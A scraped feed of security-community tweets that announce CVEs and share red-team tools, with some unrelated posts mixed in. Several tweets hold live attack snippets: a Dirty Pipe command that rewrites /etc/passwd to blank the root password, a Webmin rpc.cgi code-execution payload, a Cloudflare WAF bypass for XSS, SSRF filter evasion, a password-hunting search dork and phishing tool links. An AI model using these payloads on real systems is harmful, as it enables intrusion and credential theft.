Baha Baghdadi

"Never do yesterday what you can do tomorrow"

[stacksmashing @ghidraninja]

Lenovo X1 Carbon Bitlocker Key Sniffing any% Speedrun

(42.9 seconds)

[Kahla @BelkahlaAhmed1]

Forgot to share it on Twitter but got recently a CVE-2022-25978 in Memos product 🎉 https://t.co/J7xUaDticS

[Borgi @AymenBorgi]

Glad to share with you my recently discovered CVE in zone minder product (CVE-2023-26039).
The vulnerability has been discovered during pb ctf 2023, thanks to @Unblvr1 for the great challenge.
Link: https://t.co/dN5aYjPnKN

[NUFF @nuffsaidny]

Everyone coming to Twitter because Spotify and Discord are down.

[brendan @bscarvell]

Clear out the root password using CVE-2022-0847 - https://t.co/2DM5a0j1om

./CVE-2022-0847 /etc/passwd 1 ootz:

[Charlie Bromberg « Shutdown » @_nwodtuhs]

[thread 🧵] Kerberos basics & (ab)use of Certificates within Active Directory (i.e. AD CS and PKINIT)

- Kerberos 101
- Pass-the-Certificate
- UnPAC-the-Hash
- Shadow Credentials
- AD CS escalation (ESC1 to ESC8)

(Links and credits at the end)

[Kahla @BelkahlaAhmed1]

Second place at our first participation 🥳

[Florian Hansemann @CyberWarship]

Active Directory Assessment and Privilege Escalation Script

- thanks for sharing @Haus3c

#infosec #pentest #redteam
https://t.co/UatjavCxoy

[Clément Labro @itm4n]

In a blog post, I explained how a service account could recover impersonation privileges.

👉 https://t.co/Ku0eOYF5xA

Well, I decided to make a tool which does that automatically because... why not?! 😅

👉 https://t.co/RaEtxD3QOk

[Kunal Pandey @kunalp94]

There's also another way to trigger android apps functionality using android-app schema,

android-app://<package-name>/<link>

POC:
To trigger the chrome app, you can use it as

android-app://com.google.com/https://kunal123.com

href in another browser, it'll work.

(1/2)

[Sayed Abdelhafiz @dPhoeniixx]

Hi, If you want to know how SSRF Vulnerability was exist in Vimeo, you should read: https://t.co/P3iZyQQYdY
Reported through @Hacker0x01 ;)

[Oddvar Moe @Oddvarmoe]

For all your #UAC bypassing needs:

https://t.co/f7C9yVMlqq
@404death

https://t.co/nllXGi5ReC
@hFireF0X

[Ammar Amer @cry__pto]

Social Engineering Tools:
-1-Social Engineer Toolkit https://t.co/IvOeHIVMFN
-2-gophish:https://t.co/B8ybDOyKPS
-3-SocialFish:https://t.co/GBd1Fhbmwu
-4-Modlishka:https://t.co/mHNvbvYzF7
-5-CredSniper:https://t.co/mFTPZYg8xY
-6-ReelPhish:https://t.co/FXtzjwgCYG
#phishing #hacking

[Metasploit Project @metasploit]

Today we released a community-developed exploit module PR for #BlueKeep (CVE-2019-0708). We expect to continue refining the exploit over time in collaboration with contributors. Some important notes on exploitation and detection from @busterbcook: https://t.co/1y4TodHDc0

[ch @chybeta]

CVE-2019-15642 another Webmin Remote Code Execution (authenticated)

1. set User-Agent as webmin
2. set Authorization
3. set payload:
OBJECT CGI;print "Content-Type: chybeta\n\n";$cmd=`id`;print "$cmd";
4. post to /rpc.cgi

[Shubham Mittal @upgoingstar]

#OSINT #Recon Tip: While you are trying to find passwords, secrets, APIkeys, etc. in your #pentest #risk #redteam #bugbounty exercises, NEVER forget to check in the PUBLIC TRELLO BOARDS.
For easy wins, use
inurl:https://t.co/wP5uGu658i AND intext:password AND intext:database

[KJ Cheetham ❄️🔶 (@kjcheetham.bsky.social) @kj_cheetham]

A maths meme that is actually funny rather than stupid:
Solve carefully!
230 - 220 x 0.5 =

You probably won’t believe it but the answer is 5!
#maths

[Rodolfo Assis @RodoAssis]

Cloudflare #WAF Bypass

Just use {alert`1`} instead of alert(1).

Any #XSS vector will work
(except <script>).

Yeah, it's just that easy.

[Pinaki ❄️ @0xInfection]

I learnt today that IP addresses can be shortened by dropping the zeroes.
Examples:
http://1.0.0.1 → http://1.1
http://192.168.0.1 → http://192.168.1
This bypasses WAF filters for SSRF, open-redirect, etc where any IP as input gets blacklisted.
#infosec #bugbounty #bugbountytip

[Norbert Tihanyi, PhD @TihanyiNorbert]

===Type juggling===
After SHA-224 announcing the first magic hash for SHA-256.

Using distributed computing found a magic hash for SHA-256.

For SHA-256(34250003024812) we have
0e46289032038065916139621039085883773413820991920706299695051332
#PHPJuggling
@RSnake, @spazef0rze